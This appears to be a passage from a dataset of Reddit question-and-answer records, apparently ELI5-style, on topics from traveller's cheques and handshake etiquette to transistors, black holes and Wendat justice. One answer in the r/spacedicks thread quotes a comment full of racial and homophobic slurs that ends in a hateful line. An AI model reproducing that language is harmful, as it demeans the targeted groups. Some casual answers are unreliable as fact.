{"q_id": "727coa", "title": "why can't some old technology be made anymore?(not business wise)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/727coa/eli5_why_cant_some_old_technology_be_made/", "answers": {"a_id": ["dngbfbr", "dngbiar"], "score": [3, 3], "text": ["cant be?  or not cost effective to do so?\n\nI mean, we could go make a lisa II if we wanted, but the investment for the machinary to do it wouldnt make sense to spend.", "Could you be more specific about what old technology you're talking about?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "549tdr", "title": "what the heck were travellers cheques? how did they work? who accepted them, and are they still in use?", "selftext": "Why were they so popular in the past? I can't imagine a McDonald's in Germany accepting them, for example? Argh!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/549tdr/eli5_what_the_heck_were_travellers_cheques_how/", "answers": {"a_id": ["d801jn8", "d801kru", "d803i5o", "d80h81z"], "score": [25, 3, 5, 2], "text": ["In the days before digital technology and when cash was the most important form of payment, taking money to foreign countries was really difficult. You could take a credit card, but they weren't accepted everywhere, you certainly wouldn't find an ATM that would accept them, and credit card fees were quite high anyhow.\n\nYou could just take cash with you. You could take cash in your own currency and exchange it for local currency when you were there; or you would buy some local currency before you left home and take that. But carrying large amounts of cash is dangerous: it could be stolen or simply lost, and then it's gone.\n\nTravellers' cheques (or \"travelers' checks\" to use the American spelling) were basically pieces of paper issued by an agent, like American Express. In your home country, you would buy a number of these cheques, each cheque being worth a specific amount. You would sign each cheque, and then take the cheques with you.\n\nWhen you were in the foreign country, and you needed some cash, you could cash one or more of your travellers' cheques, usually at a bank (you wouldn't spend it directly at McDonald's). You would have to countersign each cheque in the presence of the cashier, and possibly also show ID. You would then receive an amount of local currency equal in value to the value of the cheque, according to that day's exchange rate (minus a small commission). If you lost your cheques or had them stolen, you could have them replaced.\n\nThey're much less common now, but they still exist. Credit cards and debit cards, and now contactless payments and other technologies, have made travellers' cheques mostly unnecessary. There are also some security concerns, such as a black market in travellers' cheques falsely reported as stolen.", "They had the advantages of being replaceable if stolen and accepted like cash at many locations. When you buy them, you sign the back. When you redeem them, you sign again in the presence of the merchant. They compare signatures. That's the consumer view, anyway. ", "You bought them from a bank for a small additional fee. You'd get a little booklet of checks which basically worked like cash. The advantage being  they were guaranteed against theft. \n\nIt was just like a theft insurance policy for people who were nervous about carrying large loads of cash. Remember ATMs weren't everywhere, so it was a pain to obtain cash. So you'd generally leave on a trip carrying all the cash you figure you'd need. \n\nI only ever used them once. They seemed to be a rather large fee against the remote chance of theft if you figured the odds, and not worth it, if you just use common sense precautions.", "I've used them in the past, from the 1980s through 2000 or so.  By then, ATMs were getting ubiquitous enough and credit cards became more popular. It became harder to find banks and money exchange places that would even cash the checks anymore.  Typically there was a different exchange rate for using cash vs travelers checks, also usually commission was charged.  So you'd lose some value by using them.  Basically they were just an easier way to carry cash internationally, and if they were stolen they could be replaced easily.  The analogy today would be stored-value debit cards."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1tbji0", "title": "what is the correct etiquette regarding handshakes when meeting people? under what circumstances should you and shouldn't you shake hands?", "selftext": "Sometimes I find myself in a situation where I don't know whether I'm supposed to extend my hand or not. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tbji0/eli5_what_is_the_correct_etiquette_regarding/", "answers": {"a_id": ["ce6acni", "ce6adef", "ce6le57"], "score": [11, 2, 3], "text": ["These are the rules I go by in Germany. They work in the business world. I know the rules are different in other countries so it might be different where you live. When at a private event, it depends on the event. Sometimes shaking hands is not appropriate. But then there are rules that determine who greets first. Many people are not aware of this and do not know the rules. If they should greet you and do not, then its your turn. But don't mention the rules. That might embarrass them.\n\n* As long as the other person is not a friend, shaking hands is the only appropriate form of greeting.\n* The person with the higher rank offers his/her hand to the person of lower rank (boss offers hand to employees, HR-Person offers hand to aplicant etc).\n* If same rank or the rank is unknown: Person who comes last _greets_ first, younger person _greets_ older person, man _greets_ woman, host _greets_ guest, single person _greets_ group. BUT: Older person _offers hand_ to younger person, woman _offers hand_ to man, host _offers hand_ to guest, someone in the group _offers hand_ to new person!\n* Take the hand, but do not shake it. Look your partner in the face, smile.\n* Do not squeeze too hard or offer a limp hand. Press moderate for about 2 seconds.\n* You shake hands when meeting for the first time, when you did not see each other for a long time, when saying goodbye, when congratulating, for special occasionas (eg jubilee) and if its a ritual in a certain social environment.\n* If in a group, someone offers the hand to someone joining the group.\n* If people of different rank are in a group (say your boss, bosses wife, female colleague, male colleague) you can deviate from the rules to make it easier. But say it, so everybody knows you know the rules (\"I'm gonna go clockwise to make it easyier for everybody.\" or something like that)", "If I'm unsure I tend to offer a handshake. If they don't notice or ignore it the after three or four seconds I'll take it away and act as if nothing happened.\n\nWorks fine.", "**always shake hands.**\n\nexcept when:\n\n* you are holding or operating something with both hands.\n\n* the other person has already extended a fist bump, elbow knock, hug, or salute. \n\n* the other person merely waves, nods, or up-nods.\n\n* the other person has a cold. They will say, \"I have a cold, otherwise I would shake your hand.\"\n\n* you have a cold. Say, \"I have a cold, otherwise I would shake your hands.\"\n\n* you have just finished masturbating or your hands are sticky/sweaty. This is a good time to use the elbow knock.\n\n* you are usually cool with them, but they recently did something to disrespect you, like tell everyone that she dumped you when in fact it was the other way around.\n\n* you know they are going to turn the handshake into a 'secret handshake' and you don't want to give them that opportunity.\n\n* they do not have hands. Corollary: If you have extended your hand and then realize they do not have hands, grab the most distal part of their existing extremity and shake it.\n\n* the other person has just touched something you think is gross, like a sea cucumber.\n\n* the other person did not shake hands or hug the mutual friend who is making the introductions.\n\n* the other person is wearing colors or symbols that rival the colors or symbols you enjoy.\n\n* you do not have hands. Corollary: You may offer up the most distal part of your existing extremity to be grasped by the other person's hand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "20ejif", "title": "Why is it that Germany developed many medium cities, whereas France and Britain developed megacities?", "selftext": "Why did Paris and London develop an economic and political hegemony over the rest of France/UK whereas Berlin never grew to that size or significance?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20ejif/why_is_it_that_germany_developed_many_medium/", "answers": {"a_id": ["cg2gawg", "cg2js5h", "cg2lo4w", "cg2pcnw", "cg2ptin"], "score": [11, 5, 12, 5, 4], "text": ["Could you define what you mean be \"medium city\" and \"megacity\" or clarify your question?\n\nI'm not sure that your premise is right. The size and population of cities are actually quite comparable between the three countries. You might be comparing metropolitan areas in France and the UK to cities in Germany?", "It perhaps worth mentioning that Berlin, during the 1920's, was the [third](_URL_0_) largest city in the world. \n\nI don't imagine this answers your question, but I just wanted to challenge one of the assumptions at work. ", "Might not actually answer question but France and Britain have been unified countries for hundreds of years dating back to crusader times. The size and boarders of both countries has fluctuated wildly. But Germany as we know it today wasn't unified until late 1800s, after the holy Roman empire fell apart there where dozens to possibly hundreds of small city states and princedomes(sp?) That would go to war with one another often. And things like the thirty year war didn't help ", "You are probably missing the largest urban area in Germany, the Ruhr valley, which [wikipedia lists at 12 million](_URL_0_) as second larges 'Polycentric metropolitan area,' between London and Paris. The Ruhr area is a area which looks essentially like one city, but it is governed as a collection of medium sized cities, not as a single entity. \n\nOn the other hand, a lot of the peculiarities of German history also seem to conspire to weaken the capital. Starting from the beginning of the HRE, where the emperor was elected by the highest nobility, which weakened his position compared to the Kings of France and England. The 30 year war, which left Germany \"divided\" between Catholics and protestants. And finally it is probably important that Berlin was divided into east and west, and the west actually surrounded by a wall, until 1990. ", "I would argue that it has more to do with national identity than anything else. In the 15th to 18th century centuries, France and Britain were the premier nation states that had strong centralized control in their capital. Up until the mid 19th century, Germany was a loose confederation of counties, duchies, and kindgoms, so it was very decenteralized. Thanks to the efforts of Prussia, Germany became unified through war and politics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.h-net.org/reviews/showrev.php?id=23505"], [], ["https://en.wikipedia.org/wiki/List_of_metropolitan_areas_in_Europe#cite_note-29"], []]}
{"q_id": "spzbg", "title": "space dicks. i cannot figure out what the sub-reddit is. what was its genesis, what's its mandate, what's the deal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/spzbg/eli5_space_dicks_i_cannot_figure_out_what_the/", "answers": {"a_id": ["c4fzenx", "c4fzgyb", "c4g03xv", "c4g0sap", "c4g1432", "c4g2ym8", "c4g4re7", "c4gbm41"], "score": [4, 114, 89, 12, 3, 8, 6, 2], "text": ["Firstly, do you REALLY want to know? Spacedicks is intended to be disturbing...", "I would never tell a 5 year old about /r/spacedicks.", "Here is a comment I posted in [This](_URL_0_) Thread.\n\n\n\"Spacedicks is for a community of people that get their jollies from making \"normal\" people uncomfortable. I'd liken it to a power struggle - no matter what normal societey might say to them, they can always have the last laugh by (easily) offending normal societey. Also, by being able to use shocking/repulsing image macros or language, they can create a club that polices it's own membership. Noone that a /b/tard would disagree with will ever be on /b/ becacause it is an unpleasant experience if you aren't already one of the community and understand the inside jokes and subscribe to the idea of the counter-culture.\nAn excellent example of this, in my opinion, is the language that a /b/tard or FAGET (from space dicks) uses- especially nigger and faggot. Nigger and faggot are used with extreme frequency by many /b/tards and it is done specifically to offend and push away anyone that allows themselves to be offended by it. They are used to such an extent that they transcend their original meaning and lose all offensiveness. Nigger and faggot are more-or-less a term of endearment, or better yet, a substitute for \"dude.\"\nAny worthless faggot cunt that disagrees with me should rot in prison with the niggers.\"", "For some reason reddit makes a big deal out of it. Its like a more accurate version of r/wtf. All nsfw posts, most nsfl", "Why didnt you just go look it up?", "[This](_URL_0_) is the exact same question as asked by me and answered by a mod of [/r/spacedicks](/r/spacedicks) when I first looked out of curiosity.", "This should be in AskReddit. Come on!", "Here's an Wired article that explains some of the appeal.  It's an interesting read\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/explainlikeimfive/comments/qvgp2/eli5_spacedicks/"], [], [], ["http://i.imgur.com/VPzcx.png"], [], ["http://www.wired.com/wired/archive/2.05/alt.tasteless_pr.html"]]}
{"q_id": "79wfcd", "title": "what does it mean to work in academia, and how does one do it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/79wfcd/eli5what_does_it_mean_to_work_in_academia_and_how/", "answers": {"a_id": ["dp5a4gn", "dp5aawq"], "score": [3, 3], "text": ["Generally, it means to be working in a university setting as a professor, scholar, researcher, etc. Generally you get into by applying for positions, although it seems to be a huge \"who you know\" sort of field. ", "What you do in academia varies but will almost always involve research and writing papers / articles / books, and frequently involve teaching.\n\nVery many of these positions require you to have a PhD, and commonly doing a PhD includes doing work that will put you in contact with academia in the field you're specializing on. That is often how you get into academia.\n\nOther roles in academia require a Masters and the positions are advertised more broadly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25fmqd", "title": "Are there any machines that are completely able to replicate themselves?", "selftext": "I had an /r/Showerthoughts about 3d printers being able to print themselves, but apprently that's not 100% possible what with the non plastic parts required. But are there any machines that have been designed to be able to 100% replicate themselves? If not, would this be possible with todays technology?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25fmqd/are_there_any_machines_that_are_completely_able/", "answers": {"a_id": ["chgsc3m", "chgt5d0", "chgt9o2", "chgtia3", "chgts6d", "chgv1s9", "chgvmug", "chha2qp"], "score": [17, 3, 100, 2, 17, 7, 6, 2], "text": ["For it to be possible you'd still have to make available to them the materials required (mostly plastic and metal). So, unless we also make machines that provide those material to those self replicating machines, it is needed a human aid to provide the stuff they're made of.\n\nWith today's technology it would be likely possible, but probably not really efficient.", "If you placed the machine so that it mined material in an efficient way while producing replicas of itself,  which would require a lot of energy and time for electronics, it seems possible. It doesn't seem practical though because the machines materials would all have to be found in the same relative geographical area. ", "[Relevant](_URL_0_): The mathematician Von Neumann thought long and hard about this problem, and many others have as well. It relates to Doug Hofstadter's tangled loops, and also, if this isn't already obvious though not exactly what you were asking about: DNA!", "3D printers are pretty darn close.\n\nThere are certain parts that we can't print, like rods, stepper motors, and electronics, but all sorts of things, like bearings, and body panels have been printed. This is because most 3d printers can only print in plastic. Take the tantillus for instance, one of the most 3d printable 3d printers.\n\nIts tagline is \"The portable self replicating compact printer.\" \n\n_URL_0_\n\nThis is not the only printer that does this, most printers in fact use some printed parts.\n\nSome people have probably ventured to using metal 3d printers (which now exist) to print rods, etc. and some have 3d printers that also engrave circuit boards, but there are some things that simply cannot be replicated. \n\nHere is an example of a metal printer: _URL_1_\nHere is an example of a circuit board 3d printer:_URL_2_\n\n\n", "It boils down to how preprocessed the materials they use are. Any industrial arm robot can attach two halves of another industrial arm robot together, and the result can do the same. Is this 'replication'?\n\nOK, so how many parts do the components have to be in? Would the machines have to autonomously gather materials from the natural environment (presumably by mining/drilling, then forging/sintering etc) in order to be considered self-replicators? Or would they be allowed to select pre-cut shapes of metal and plastic from a rack?", "OK, not a machine, but basically all cellular based plants and animals on earth do this. By watching how complex biological life is, and how much time and effort life puts into 'building copies of itself' you can get an idea of the engineering challenges - finding raw materials, finding energy, processing, correcting for errors, building resistance to parasite variants etc.", "You might have to stretch your definition of 'machine' to get a working example. There are many autocatalytic chemical reactions, life being one of them. These reactions, though not necessarily human in origin, have been appropriated by engineers to accomplish a wide range of tasks. Bacteria and other microbes have been widely rebuilt to produce proteins on and industrial scale. Perhaps the most vivid example of a machine designed to use rapid self replication is a nuclear bomb, which propogates an initial fusion or fission event.", "I saw a lot of people talking about DNA and cells, and I thought I'd say, the DNA takes cells from the mother's body to start off the baby (in animals), and in that cell there is more DNA. The DNA is basically a set of instructions on how to make those cells, and so, the cells split apart, then, using the food particles, uses those atoms to make the other half of the cell, and then grows to die later."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Self-replicating_machine"], ["http://reprap.org/wiki/Tantillus", "http://reprap.org/wiki/MetalicaRap", "http://hackaday.com/2009/04/19/printing-circuits-on-the-reprap/"], [], [], [], []]}
{"q_id": "4nams1", "title": "why you have such intense, weird dreams wearing a nicotine patch to bed", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nams1/eli5_why_you_have_such_intense_weird_dreams/", "answers": {"a_id": ["d42btly", "d42juus", "d42vd54", "d4307t5"], "score": [71, 15, 3, 3], "text": ["Perusing the literature there is [surprisingly strong evidence](_URL_2_) that nicotine patches induce vivid or lucid dreaming.  This effect seems to have something to do with cholinergic control over rapid eye movement (REM) sleep cycles.  Specifically nicotine patches seem to reduce the total amount of REM sleep but increase the depth and activity of REM sleep, increase micro-arousals throughout the night, and increase morning wakefulness [(1)](_URL_1_), [(2)](_URL_0_), [(3)](_URL_2_).  A few hypotheses with varying levels of evidence on *why* this occurs are:\n\n >  **1)** Increased ponto-geniculo-occipital (PGO) waves which are characteristic of dreaming.\n\n >  **2)** Activation of the reticular activating system (important for consciousness) which can lead to interjected consciousness in the dream state.\n\n >  **3)** Variation in sleep architecture (increased micro-arousal, deeper REM, etc.) may improve the ability to remember dreams throughout the night.\n\n**TL;DR/ELI5:**  So I guess what seems most likely is that acetylcholine receptors, which nicotine activates, are important both for the formation of REM sleep and for activation of consciousness.  Thus nicotine patches may \"inject\" consciousness into dreaming and increase dream intensity.", "The real ELI5 is that nicotine doesn't last long in your system which is why you want a cigarette every half hour or so. \n\nThere's normally little to no nicotine in your system while you sleep. The patch keeps your blood nicotine levels up while you sleep. Activates nerves, causes dreams. ", "As someone who eats a shitload of cheese, fish and drinks alot of milk if I have a day off the next day to boost the likelihood of some intense dreams. I may have to buy some patches!", "Maybe I'm just sensitive, but this happens to me when I listen to any music of any kind (even ambience noise), take any type of medicine or sometimes simply reading something about 2 hours before going to sleep.\n\nLast time I had melatonin, I had a dream where I fell from Mars. Woke up sinking into bed. Any sleep aid pills end up waking me up at around 3 am due to stimulating dreams."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://journals.lww.com/psychopharmacology/Abstract/1994/08000/Dose_Dependent_Effects_of_Transdermal_Nicotine_on.6.aspx", "http://www.sciencedirect.com/science/article/pii/S1389945705002285", "http://www.sciencedirect.com/science/article/pii/S0031938406001697"], [], [], []]}
{"q_id": "12bvh3", "title": "What is \"deep sequencing\", and how is it different to other types of sequencing?", "selftext": "I'm trying to get my head around the concept of deep sequencing. What is it exactly, and what kind of information would it provide, in contrast to standard sequencing types? I've been looking it up but I need a straightforward explanation please.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12bvh3/what_is_deep_sequencing_and_how_is_it_different/", "answers": {"a_id": ["c6tt0j1", "c6tt2l7"], "score": [7, 3], "text": ["When you sequence DNA what typically comes off the machines is a trace of the propensity of each nucleotide at each position in the sequence. This is essentially a graph showing you the strength of signal for each base at each position. In an ideal world each position would only show a single peak for just one of the four bases and you could read of the sequence having done a single sequencing run.\n\nBut... sequencing traces/data are not always unambiguous on a per position basis. The underlying sequencing chemistry is somewhat error prone (the wrong base is inserted at a position) and sometimes you get more than one peak from 2 different bases a position and you can't unambiguously call which base it is.\n\nHere's a nice example of one of those traces for a single read of DNA. You can see that most of the peaks are individual but there are a couple of ambiguous cases.\n\n_URL_0_\n\nTo correct the errors and ambiguous cases you'll usually sequence a sample multiple times (take multiple reads), then compare all the individual sequences you've got with one another, then for each position you'll take the nucleotides which the greatest number of reads agree on (take a consensus). The simplest base-calling software works through this kind of majority rule approach but there are more elegant statistical methods employed to combine individual reads in to a final sequence. This will typically catch many errors from ambiguous peaks or errors in the underlying chemistry. Typically people will do a minimum of 5 reads (known as 5x coverage). And typically you find that the greater the degree of coverage the fewer errors there will be in the final sequence.\n\n\"Deep sequencing\" is term often used used to refer to taking more than 7 reads (7x coverage). As I recall the human genome was sequenced to 10x as was the tomato genome.\n\nThe other thing you can do with deep sequencing is look for SNPs. If you have a reference genome that you are confident has very, very few errors (like the human genome) then you can find SNPs by comparing an individual's genome with the reference genome. In order to do this you will need to deep sequence the individual's genome to ensure it is at least as error free as the reference genome you are going to compare it to.\n\n**EDIT:** The coverage depths I've quoted are a little out of date and refer to BAC-by-BAC ABI 3700 sequencing methodologies. Most modern sequencing is now done on high throughput machines like the Solexa or 454 machines. These are mind bendingly fast and cheap to run and you can produce a 20x to 30x reads somewhat trivially. The chemistry for high throughput technologies is more error prone than the older 3700 chemistry but that's somewhat moot when you can produce coverage depths past 20 pretty easily.", "tl;dr you sequence DNA deeply to improve the quality and quantity of variant calls.  some places ~~to~~ DO  light sequencing to find structural variants or to find common mutations.\n\nModern high-throughout  sequencing requires \"redundant coverages\" that is, you want at least 10 or so reads to cover a position before you consider it \"interrogated enough\".  Most whole genomes are sequenced to a depth of 30x average coverage because of the random distribution of the reads.\n\nYou can sequence genomes to lower coverage (2-8x) if you want to find structural variants, or common variants (SNPs).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.longtrace.com/images/LongTrace_AB.gif"], []]}
{"q_id": "1ug4nv", "title": "What is the difference between NPN  &  PNP transistors?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ug4nv/what_is_the_difference_between_npn_pnp_transistors/", "answers": {"a_id": ["cehvit8", "cehvtth", "cehz0g1", "cei323i"], "score": [3, 11, 4, 2], "text": ["_URL_1_ has a good explanation of how the two different transistors are formed. When you are building transistors into a chip (say a CPU), you often will use both types of transistors because the NPN is very good at producing logic level high (digital 1), and PNP is good at producing a logic level low (digital 0).\n\nThe base principal on these types of devices is the p-n junction. Both P-doped materials and N-doped materials (doping is adding contaminants to an otherwise pure material) are highly conductive, but the point where they meet may or may not be based on the voltage difference between them. _URL_0_ has a better explanation that I can do though.", "NPN: A positive base-emitter voltage allows current to flow from the collector to the emitter. \n\nPNP: A negative base-emitter voltage allows current to flow from the emitter to the collector\n\nThe arrow in the symbol shows the normal direction of current flow. ", "This is quite a long explanation (but still a massive simplification!)\n\n\nN's and P's are describing the type of material used. Transistors are made of a silicon lattice with impurities implanted (called doping). In N type silicon the Silicon has donor atoms added to it. Silicon atoms have a perfect number of electrons to bind into a lattice, the donor atoms have 1 extra electron per atom and these electrons become common in the lattice and can flow through the lattice (so they are donating an electron). In the same way P type silicon has acceptor atoms- with one too few electrons. This creates spaces for electrons- which can be viewed as a \"hole\"- which has the effect of a negative electron.\n\n\nSo for charge to flow through N-type silicon the extra electrons travel through the material. For P-type silicon electrons fill the holes in the shells of the material and so you get the effect of the hole where an electron should be travelling. It's like if you watch a gap in traffic- as cars move forward to fill the gap  it makes it look like the gap is travelling backwards- it's that same concept with holes, they're just gaps where electrons are missing.\n\nUnder normal conditions an NP gate would not allow charge to flow because of the energy levels required to push electrons from a P-type (no electrons) to a N-type material (lost of electrons).\n\n\nNow NPN transistors use the gate contact to invert the P-type silicon into N-type: by driving lots of electrons into the material (filling the holes and creating extra electrons). This means you have a solid N-type channel. In a PNP transistor you pull electrons out of the gate, leaving lots of holes and therefore you end up with a channel of P-type effectively.\n\n\n\nThe difference is that holes and electrons are not identical! They move at different rates etc. So the voltage at the gate has a different effect. Also the impurity in the silicon lattice (the donor or acceptor atoms mentioned earlier) effect the electrical properties of the material. So you get different impedences through the material and importantly- different speeds at which you can turn the gate on (important for high frequency operation).\n\nSo the result is that they actually have complementary properties. This is why CMOS (the standard for logic) uses NPN and PNP transistors together.\n\n\n\nEdit: BTW, Electronic and Electrical Engineering MEng, so any questions ask away.\n\n", "Just as an aside as I think a bit of a fight about BJT vs. MOSFET has turned up. A BJT is A 3 material (NPN or PNP) object with a contact on each material. It functions how I describe elsewhere in this thread (injection of carriers through the base). A MOSFET uses an oxide over the base contact to create a capacitance- this draws carriers within the material to the contact creating a channel of inversion (material exhibits the reverse behaviour in relation to it's material type). \n\n\n\nThe result in both is the same function but the MOSFET does it with capacitance- which lowers the current drawn in the base making it more efficient than the BJT. \n\n\nBJT's are used as analogue amplifiers generally (better linear properties, operating bands) , whilst MOSFETs are used for binary switches (lower current draw at the base, lower impedence through the conductance channel).\n\n\n\nBJTs are referred to as NPN or PNP whilst MOSFETs (Metal-Oxide Semi-conductor Field effect Transistor) are N-MOS or P-MOS according to whether it N or P channel (ie, the inverted region is N or P)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/P%E2%80%93n_junction", "http://en.wikipedia.org/wiki/Bipolar_junction_transistor#Structure"], [], [], []]}
{"q_id": "3dq0hi", "title": "Does a singularity ever form from the reference frame of someone outside it?", "selftext": "I might be completely wrong here but...\n\nFrom the reference frame of the mass forming a black hole, the rest of the universe speeds up and tends to infinitely fast time.\n\nFrom the reference frame of someone outside a black hole, the mass falling to form the black hole slows down and the speed of time tends towards nothing.\n\nSo doesn't this mean that as far as we're concerned, the mass that forms the black hole never reaches infinite gravity, and thus a singularity never forms?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dq0hi/does_a_singularity_ever_form_from_the_reference/", "answers": {"a_id": ["ct7uhbc"], "score": [2], "text": ["A reference frame does not determine a global coordinate system. The word \"observer\" is confusingly meant to signify both local frame and a coordinate chart, but they're different things.\n\n(Local) observers cannot see a singularity form, ever, unless they die in it. The only possible way to \"see\" the singularity in a local frame is for the observer worldline to end in the singularity. Such an observer can measure the local spacetime observables (e.g., the Riemann tensor) diverge as he nears his fate.\n\nCoordinate charts are more effective. They can include a part of spacetime in contact with the singularity and therefore they can \"see it\". However, they also may not. For example, the Schwarzschild chart only maps part of spacetime and fails to get close to the singularity. This is pictorially described as the collapse and singularity formation happening \"an infinite time into the future\", but that's just a curious wording of what is a pretty down-to-earth geometric statement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3dules", "title": "How did pre Columbian Great Lakes Native Americans deal with law and order? What sort of judicial system did they have?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dules/how_did_pre_columbian_great_lakes_native/", "answers": {"a_id": ["ct9j5ph"], "score": [8], "text": ["For the most part, there is little we can say for certainty regarding the justice systems of Pre-Columbian societies in the Great Lakes system. We can upstream the justice systems of the colonial era. Even then, we have statements recalling, in some cases, that different methods were used before the \u201ccurrent\u201d system, so how far back the the justice systems of the 17th Century can be pushed back becomes debatable. \n\nHere I\u2019ll focus on the Wendat (the Huron Confederacy, roughly between Georgian Bay and Lake Ontario in the early half of the 1600s).The Wendat recognized four major crimes: murder , theft, \u201cwitchcraft,\u201d and treason. All violent crimes were investigated by the council with the appropriate jurisdiction.\n\n**Murder**: When a murder occurred within the Wendat community, under pre-confederacy system, the victim\u2019s clan (maternal relations) were obliged to seek vengeance against the murderer or the murderer\u2019s clan. However, by the time the French arrived, pursuing a blood feud was regarded as a worse crime than the original murder and should the victim\u2019s clan succeed in taking a life to avenge the one they lost, they bore the responsibility for the new murder and the original offending clan was absolved.\n\nInstead murder was atoned through reparations paid by the murderer\u2019s clan to the victim\u2019s clan. The victim\u2019s clan dispatched a bundle of sticks to signify the number presents they deemed necessary, and these in turn were distributed among the murderer\u2019s clan so as necessary to fulfill the demand. Each present was supposed to the equivalent value of a beaver robe. The higher the victim\u2019s social standing, the greater the number of reparations demanded. On average, thirty gifts were necessary for a male victim, and forty for a female victim. The gifts were presented the victim\u2019s clan in a formal ceremony. Another old tradition that was no longer in practice by the time the French arrived was to force the murderer to sit beneath the victim\u2019s burial scaffold while the body decomposed above him, until he and clan paid the necessary reparations. At the end of the ceremony, the victim\u2019s family offered some smaller gifts to the murderer\u2019s family as a sign of their forgiveness and the matter was considered resolved between them. Of course, the murderer still had to deal with the potential ire and resentment of his own clan and could be deprived of their future support and assistance if he committed any crimes in the future. Maiming or otherwise seriously injuring another person was treated similarly, though the number of presents needed for reparations was considerably less.\n\n**Theft**: The Wendat at this time had a very narrow definition of theft, which essentially only included items taken from a home without the owner\u2019s permission or forcibly taken from a person. Something left outside unattended was, legally speaking, fair game. If a victim of theft recognized their belongings in the possession of another person, they had to ask the current owner where they had acquired it. Refusing to answer the question was seen as an admission of guilt. If the current owner said they had gotten the item from someone else, the victim questioned that person, and so on, until the original thief could be identified. Once the thief had been found, the victim and his relatives were allowed to go to the thief\u2019s longhouse and take whatever they desired. \n\n**Witchcraft**: Both men and women could be accused of witchcraft - the use of spiritual power to inflict harm on others. Usually this harm took the form of a sudden and inexplicable illness or death, particularly of an otherwise healthy and prosperous individual (since jealousy was the primary vice that caused people to resort to witchcraft). If sickness did not respond to the usual healing arts, witchcraft was suspected and a specialist known as an *aretsan* was called in for aid. The supernatural illness was thought to have been caused by a sorcerous charm slipped into the victim\u2019s body with the flesh of an *angont*, one of the horned serpents. The *aretsan*\u2019s responsibility was to draw the charm out of the victim. Once the charm had been extracted, it was deemed as proof that witchcraft had been involved. Even absent such proof, the victim\u2019s dreams, rumors, and suspicious behavior might draw accusations of witchcraft. Suspicious behavior included an assortment of anti-social behavior that deviated from the expected norms of Wendat society: speaking harshly to others, refusing to contribute to feasts or otherwise be generous, seeking undue privacy (being found alone in the woods without a reason, for example), and recurrent criminal activity. A witch\u2019s life was forfeit, though in practice only the leaders of the community could sanction the accused witch\u2019s death. If anyone else killed a person they suspected of being a witch without the backing of the community, then they\u2019d end up being treated as a murderer themselves. An accusation of witchcraft would generally be brought to a council in secret, and if the council supported the accusation, an executioner might be appointed to carry out the sentence without warning. In other situations, the witch might be captured and tortured in hopes that he or she will reveal any accomplices. As a last alternative, the witch might be publicly executed as a prisoner-of-war.\n\n**Treason**: Anyone who had close dealings with enemy nations were monitored and should it appear that they intended to divulge national secrets or otherwise endanger the security of the confederacy, a council could order their death. Such executions were made to appear as though the traitor had been killed by the very enemy he meant to betray the Wendat to. Since the council that sanctioned the traitor\u2019s death carried out any further investigation, they could quietly sweep the matter aside without further inquiry. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9lvy30", "title": "if belly breathing is better than chest breathing, why did almost all human beings adopt the latter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9lvy30/eli5_if_belly_breathing_is_better_than_chest/", "answers": {"a_id": ["e79t063"], "score": [8], "text": ["Chest breathing lets you stay mad and ready to fight.  Good for when you need to fight, not as needed when you live in a civilized area. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5l6x2l", "title": "What would a large piece of a substance with a very short half life look like as it decays?", "selftext": "A half life of a few minutes or even seconds such as carbon-10.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5l6x2l/what_would_a_large_piece_of_a_substance_with_a/", "answers": {"a_id": ["dbtuznr"], "score": [15], "text": ["The sample of radioactive material will decay rapidly, exploding with great violence.\n****\n\nWe do know how relatively quiescent radioactive substances look, such as [^(238)PuO_*2*_](_URL_1_). Pure ^(238)Pu has a specific power of about 570 Watts/Kg, and the stuff used in NASA's radioisotope thermoelectric generators such as that of the rover _Curiosity_, with the oxygen included, has a specific power of about 502W/Kg. The chunk pictured is 4.8Kg, and glows a nice cherry red. From my estimate of the color, that's a [blackbody](_URL_3_) temperature of some 1500-2000K.\n\nNow, let's consider our ^(10)C sample. With a half-life of only 19.29 seconds, it has a time constant of ln(2)/t=0.03593s^(-1) in the decay equation N(t)=N_*0*_\\*e^(-Rt). One kilogram of ^(10)C then contains 6.012009\u00d710^25 particles, decaying at a rate of [2.1601\u00d710^24 per second](_URL_0_), and with a decay energy of [2625.751KeV](_URL_6_), this amounts to a stupendous [908.74GW](_URL_0_*2625.751keV) of radiation 